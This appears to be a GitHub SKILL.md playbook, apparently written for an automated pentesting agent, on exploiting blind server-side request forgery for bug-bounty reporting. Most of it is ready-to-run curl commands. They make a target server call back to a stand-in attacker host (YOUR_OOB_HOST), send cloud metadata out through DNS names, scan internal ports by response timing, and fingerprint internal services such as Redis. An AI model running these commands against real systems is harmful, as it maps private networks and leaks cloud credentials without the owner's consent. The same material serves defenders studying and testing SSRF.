attack-ssrf-blind-oob

Blind SSRF — OOB confirmation via Collaborator/interactsh, DNS exfiltration, timing oracles, response-latency port scanning

SKILL.md

GitHub

Blind SSRF

Objective

The server fetches but never tells you. Confirm the fetch happened and turn it into a read primitive via OOB callbacks, DNS exfiltration, or timing oracles.

Attribution: Blind-SSRF methodology adapted from KathanP19/HowToHunt — SSRF / Blind_SSRF. Licensed GPL-3.0.

Methodology

1. OOB confirmation (the default proof)

# Interactsh (default unless Burp explicitly mentioned) or Collaborator
attack_script ssrf_listener -p 8888 -o ssrf_evidence.json &
curl "https://TARGET/fetch?url=http://YOUR_OOB_HOST/ssrf-marker-N"
# DNS/HTTP hit = confirmed SSRF, tag tells you which input point

2. DNS exfiltration (read data out through the query string)

# Whatever the internal endpoint returns → encode into the DNS name you resolve
curl "https://TARGET/fetch?url=http://169.254.169.254/latest/meta-data/hostname.<role>.<uniq>.YOUR_OOB_HOST.net"
# the resolved label appears in your DNS log = data out

3. Timing oracle (when OOB egress is blocked)

# Open internal port: fetch waits/succeeds; closed: instant error
time curl -s "https://TARGET/fetch?url=http://127.0.0.1:22/"   # vs :33 random
# Repeat 3x per port; consistent delta ≈ open port

4. Latency-based internal port scan

for port in 22 80 443 3306 5432 6379 8080 9200 11211; do
  { time curl -s -o /dev/null "https://TARGET/fetch?url=http://127.0.0.1:$port/" ; } 2>&1 | grep real
done
# consistent +delta on specific ports = internal service map

5. Response-differential (blind content oracle)

# Different internal endpoints → different error text/time → infer service type
curl -s "https://TARGET/fetch?url=http://127.0.0.1:6379/" | wc -c   # Redis replies → longer body
curl -s "https://TARGET/fetch?url=http://127.0.0.1:22/"  | wc -c

Evidence requirements (blind-specific)

  • OOB: the DNS/HTTP hit log with timestamp + the exact request that triggered it
  • Timing: repeatable delta table (port, three timings, baseline) — single sample dies in triage
  • DNS exfil: your DNS log showing the resolved label containing the internal value

Notes

  • If OOB is blocked AND timing is noisy (CDN jitter), the finding is hard to prove — document both attempts; program may accept partial blind-SSRF evidence at medium
  • Default OOB is Interactsh; use Collaborator only when explicitly mentioned